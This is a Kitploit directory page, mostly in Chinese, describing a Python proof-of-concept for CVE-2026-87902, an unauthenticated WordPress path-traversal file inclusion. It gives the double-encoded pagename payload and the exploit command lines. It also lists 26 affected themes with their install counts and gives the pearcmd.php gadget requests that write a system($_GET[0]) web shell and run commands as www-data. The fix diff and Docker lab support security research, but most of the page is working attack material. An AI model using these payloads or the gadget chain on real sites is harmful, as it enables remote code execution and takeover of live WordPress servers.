Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/vulpecuna/cve-2026-87902
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试远程访问工具实验室与实践
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

针对 CVE-2026-87902 的 Python PoC,该漏洞是通过 get_page_template() 实现的未认证 WordPress 路径遍历 RCE,具备版本指纹识别、主题检查以及可选的文件包含功能。

查看仓库
3161天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-87902

安全公告GHSA-7hp8-65ch-5whp
产品WordPress <= 7.1.1,已在 7.1.2 中修复;两个版本均已测试
汇聚点wp-includes/template.php,get_page_template()
成因由 pagename 构造的候选路径未经过 validate_file() 校验
攻击者匿名,无需账户、无需 Cookie、无需 CSRF 令牌
方法单个 GET 请求,两个参数
影响任意磁盘上的 .php 文件被包含并在 WordPress 进程中执行
提权在 PEAR gadget 可利用的情况下可实现远程命令执行,参见 PHP 与提权
对目标的写入使用默认 --include 时无写入
此处复现6 个发行版、7 个主题、4 个 PHP 版本

请求

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> 是 page- 目录、路径穿越和目标文件,其中每个点和斜杠都经过双重编码:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
字段作用
pagename载荷。WP_Query 会通过 sanitize_title_for_query() 处理它,该函数将字面点重写为短横线,但保留百分号编码的字节。随后 get_page_template() 调用 urldecode() 将结果解码为路径
page_id任意已发布的页面,使查询匹配到一篇文章而非返回 404。没有它,页面模板永远不会被加载

核心代码构造 page-{urldecode($pagename)}.php 并相对于样式表目录解析它。编码是必需的:sanitize_title_for_query() 会将字面 .. 重写为 -。

前提条件

#条件原因
1活动主题包含顶层 page-* 目录名称是 page-{payload}.php,因此其第一段必须在磁盘上可解析
2一个已发布的页面,且既不是首页也不是文章页is_front_page 和 is_home 在 is_page 之前被尝试
3目标文件以 .php 结尾核心代码会追加扩展名

无需上传内容,无需更改站点配置、主题或核心。

所有 26 个受影响的主题都将该目录命名为 page-templates。poc.py 从 themes.json 中获取名称,对于不在其中的主题假定为 page-templates,--root 可用逗号分隔的列表覆盖。

Windows 主机不满足前提条件 1。 Win32 在词法层面取消 ..,因此不存在的段仍会被其后的 .. 取消。

路径结果
C:\...\wordpress\page-nothing\..\README.md存在
C:\...\wordpress\page-nothing\README.md不存在

在 Windows 11 上使用 os.stat 测试,其使用与 PHP 的 file_exists() 相同的 Win32 路径处理方式。WordPress 本身未在 Windows 上运行。

用法

检查,默认模式

识别主题和两个版本,然后询问 page-* 目录是否存在。不会包含或执行任何内容。

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
对 page-<root>/ 的响应解读
200目录存在且可列出
404无此目录
403不确定,因此随后对 page-<8 位随机十六进制>/ 发起一次对照请求
403 然后对照 404拒绝是关于存在性的,目录存在
403 然后对照也被拒绝服务器拒绝任何请求,退出码 4

受影响需要同时满足:目录存在,且版本等于或低于 7.1.1。

利用

先运行检查,然后除非检查排除了目标,否则包含该文件。

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

渲染的主题模板总是通过 wp_head() 引用 /wp-content/themes/,而从主题外部包含的文件则不会。这就是判定规则。

选项

选项默认值效果
--target URL必需被测部署
--exploit关闭检查后包含一个文件
--include PATHwp-admin/install.php要包含的 .php 文件。相对路径从 WordPress 根目录解析,绝对路径用 --depth 向上爬升
--depth N7绝对 --include 的 ../ 跳数
--root NAME[,NAME]来自 themes.json要尝试的 page-* 目录,不带 page- 前缀
--page-id ID自动发现跳过页面发现
--theme SLUG自动发现跳过主题查找
--theme-version V自动发现跳过主题版本查找
--no-version关闭不发起任何仅以获知版本为目的的请求
--core-json PATHcore.json发行版指纹,仅在没有披露版本时读取
--trace关闭打印每次交互
--json关闭仅输出一个 JSON 对象
--yes关闭跳过确认
退出码检查利用
0受影响主题外部的 .php 被包含
1不受影响未被包含
2无响应,或响应不是 WordPress同上
3用法错误,或在确认时拒绝同上
4不确定,参见 403 和 7.1.x 情况未使用

默认 --include 是 wp-admin/install.php:在所有 WordPress 中,输出明确无误,不改变任何内容。

TLS 证书不验证。过期、自签名和主机名不匹配的证书均被接受。

版本指纹识别

按顺序尝试,在第一个有响应的来源处停止。

来源成本在 7.1.1 上
首页的 generator meta免费精确版本
/wp-includes/ 资源上的 ?ver=免费精确版本
/?feed=rss21 个请求精确版本
/wp-links-opml.php1 个请求精确版本
对已提供资源与 core.json 的 sha256 比对1 个请求提供这些字节的发行版集合

core.json 覆盖 112 个已发布发行版和 7.1.2,每个 4 个资源。交叉比对可精确命名 9 个发行版,中位剩余 4 个候选。受影响要求每个候选都等于或低于 7.1.1。

7.1.1 和 7.1.2 无法从外部区分。 不同的三个文件是 wp-admin/about.php、wp-includes/template.php 和 wp-includes/version.php,均不被提供。隐藏版本的 7.1.x 站点会得到退出码 4。

主题

wordpress.org 上安装量最高的 200 个主题。26 个包含 page-* 目录并受影响,合计 765,500 / 9,027,090 个活跃安装。其余 174 个不满足前提条件 1。

主题版本安装量page-*状态已确认
neve4.2.11200,000page-templates🔴 受影响实验室
sydney2.7180,000page-templates🔴 受影响实验室
hestia3.3.670,000page-templates🔴 受影响实验室
inspiro2.2.360,000page-templates🔴 受影响调查
colibri-wp1.0.16950,000page-templates🔴 受影响调查
twentyfourteen4.650,000page-templates🔴 受影响实验室
twentytwelve4.950,000page-templates🔴 受影响实验室
colormag4.2.540,000page-templates🔴 受影响实验室
zakra4.3.330,000page-templates🔴 受影响调查
spacious1.9.1220,000page-templates🔴 受影响调查
hueman3.7.2720,000page-templates🔴 受影响调查
bloghash1.0.3010,000page-templates🔴 受影响实验室
botiga2.4.910,000page-templates🔴 受影响调查
tutorstarter4.0.310,000page-templates🔴 受影响调查
mesmerize1.6.18710,000page-templates🔴 受影响调查
flash1.4.1210,000page-templates🔴 受影响调查
shapely1.3.610,000page-templates🔴 受影响调查
silverstorm1.0.368,000page-templates🔴 受影响调查
prespa1.7.88,000page-templates🔴 受影响调查
hybridmag1.1.46,000page-templates🔴 受影响调查
chromenews6.2.105,000page-templates🔴 受影响调查
morenews4.3.105,000page-templates🔴 受影响调查
newsexo9.12,000page-templates🔴 受影响调查
reviewnews2.0.51,000page-templates🔴 受影响调查
the8-shop-dark1.0.5400page-templates🔴 受影响调查
newsonline0.6100page-templates🔴 受影响调查

实验室 表示使用 poc.py 针对标准镜像进行了端到端测试,调查 表示从主题归档中读取了目录,但未搭建该主题。

已测试且不受影响,均不包含 page-* 目录:astra、kadence、twentysixteen、twentyseventeen、twentytwentythree、twentytwentyfive。

front-page.php 由 hestia、neve 等提供,不改变受影响状态。它仅排除首页 ID 用于该请求。

版本

发行版镜像默认主题使用受影响主题已确认
7.1.2🟢 不受影响,twentytwentyfive🟢 不受影响,neve实验室
7.1.1🟢 不受影响,twentytwentyfive🔴 受影响,neve实验室
7.1.0🟢 不受影响,twentytwentyfive🔴 受影响,neve实验室
7.0.4🟢 不受影响,twentytwentyfive🔴 受影响,neve实验室
6.8.3🟢 不受影响,twentytwentyfive🔴 受影响,neve实验室
6.1.0🟢 不受影响,twentytwentythree🔴 受影响,twentytwelve实验室
4.9.8🟢 不受影响,twentyseventeen🔴 受影响,twentytwelve实验室
其他 105 个发行版未测量未测量未测量
主题版本不是前提条件,page-* 目录才是。neve 4.2.11 用于 6.8.3 及以上,twentytwelve 4.9 用于两个较旧核心
7.1.2无已发布镜像。使用 lab/run.py --core 7.1.2 测试,该命令将官方发行归档应用到 7.1.1-apache 上
开箱即用从 4.1 起没有发行版受影响。twentyfifteen 到 twentytwentyfive 不包含 page-* 目录。twentyfourteen 和 twentytwelve 包含,且分别是 3.8 到 4.0 以及 3.5 的默认主题,这些版本没有发布镜像
无法拉取112 个已发布标签中的 15 个:14 个早于 4.5.3-apache 的使用 containerd 2.1 拒绝的 v1 manifest,4.5.3-apache 有一个注册表无法提供的层

每个发行版发布的 PHP 变体,决定了下文的提权:

WordPress 发行版以 -apache 发布的 PHP 变体
4.1.x 到 4.5.x无,仅普通标签,5.6
4.6.x 到 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x 到 5.5.x7.1 7.2 7.3 7.4
5.6.x 到 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x 到 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x 和 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x 和 7.1.x8.2 8.3 8.4 8.5

PHP 与提权

文件包含在所有四个镜像上均成功,且每个镜像中都存在 pearcmd.php。通过 gadget 执行命令需要 register_argc_argv 开启,而 php8.5 镜像将其关闭。

镜像PHPregister_argc_argv
$_SERVER['argv']
通过 pearcmd.php 的 RCE已确认
7.1.1-php8.2-apache8.2.33开启,已填充🔴 uid=33(www-data)实验室
7.1.1-apache8.3.33开启,已填充🔴 uid=33(www-data)实验室
7.1.1-php8.4-apache8.4.25开启,已填充🔴 uid=33(www-data)实验室
7.1.1-php8.5-apache8.5.10关闭,null🟢 未达到实验室

通过 apache2handler 读取,而非 CLI,后者会强制开启该设置。RCE 列背后的两个请求:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py 包含一个文件,它不驱动 gadget。使用 --include /usr/local/lib/php/pearcmd.php --depth 7 来达到它。在 8.5 镜像上未寻找除 pearcmd.php 之外的其他 gadget。

修复

从 wordpress-7.1.2.zip 中读取。两处更改。

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

第一处修复了易受攻击的分支,第二处检查每个已解析的模板路径,无论其来源如何。已测试:在 7.1.2 上,激活 neve 且存在 page-templates 时,同一请求渲染主题自身的页面,55,084 字节,而非安装程序。

在 7.1.1 及更早版本上存在第二条路径:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
不同之处将 WP_Query 转入其 post_name 分支,该分支从不重写 pagename,因此字面 .. 有效
所需条件一个没有 single.php 的主题,因为 is_single 在 is_page 之前被尝试
测试于7.1.1 配合 bloghash
为何列出它能在仅加固清理器的修复下存活。上述包含性检查也能关闭它

实验室

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
每行
镜像官方 wordpress:<tag>,未修改
隔离独立容器、独立端口、共享 MariaDB 中的独立数据库
安装通过 HTTP 经 wp-admin/install.php,因此无需匹配版本的 wp-cli
状态安装程序留下的状态,一个已发布页面,无上传
驱动方式poc.py --exploit,因此每行测量的是包含而非外观
选项默认值效果
--jobs N2并行行数
--theme SLUG[@VERSION]无在每行安装并激活
--core VERSION无将该官方发行版应用到镜像的核心上,这是运行无镜像发行版的方式
--keep关闭保持实例运行,结束时打印管理员密码
--prune关闭删除本次运行拉取的镜像
--port-base N8110起始端口,每行一个,仅 127.0.0.1
--db-imagemariadb:10.6数据库镜像
--timeout N180容器响应的秒数
--out PATHlab/results.json每行详情

退出码:0 每行均已测量,1 至少一行未测量,2 Docker 缺失或无内容可运行,3 用法错误或拒绝。一个 WordPress 镜像为 600 MB 到 1.1 GB,因此不带 --prune 的 --all 会占用数十 GB。

.github/workflows/lab.yml 在每次 PoC 或实验室更改时运行四行,并每周运行:7.1.1 和 6.8.3 上的受影响主题、镜像默认主题,以及 php8.5 变体。每行断言其预期的退出码。

参考

安全公告GHSA-7hp8-65ch-5whp
文章https://ressl.ch/blog/cve-2026-87902-wordpress/
另一个 PoChttps://github.com/ressl/cve-2026-87902-poc

从该 PoC 中采纳的两个想法,均先在此测试:

想法保留已测试
/index.php?rest_route= 和 /wp-json/ 作为页面列表的回退路由是通过三者之一发现成功
优先选择没有自身页面模板的页面,因为 get_page_template() 首先尝试该模板是,作为排序强制使用带有模板的页面在 7.1.1 上仍可复现,因此最坏情况仅多一个请求

文件

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

要求:Docker、Python 3.8+,无第三方包。

下载工具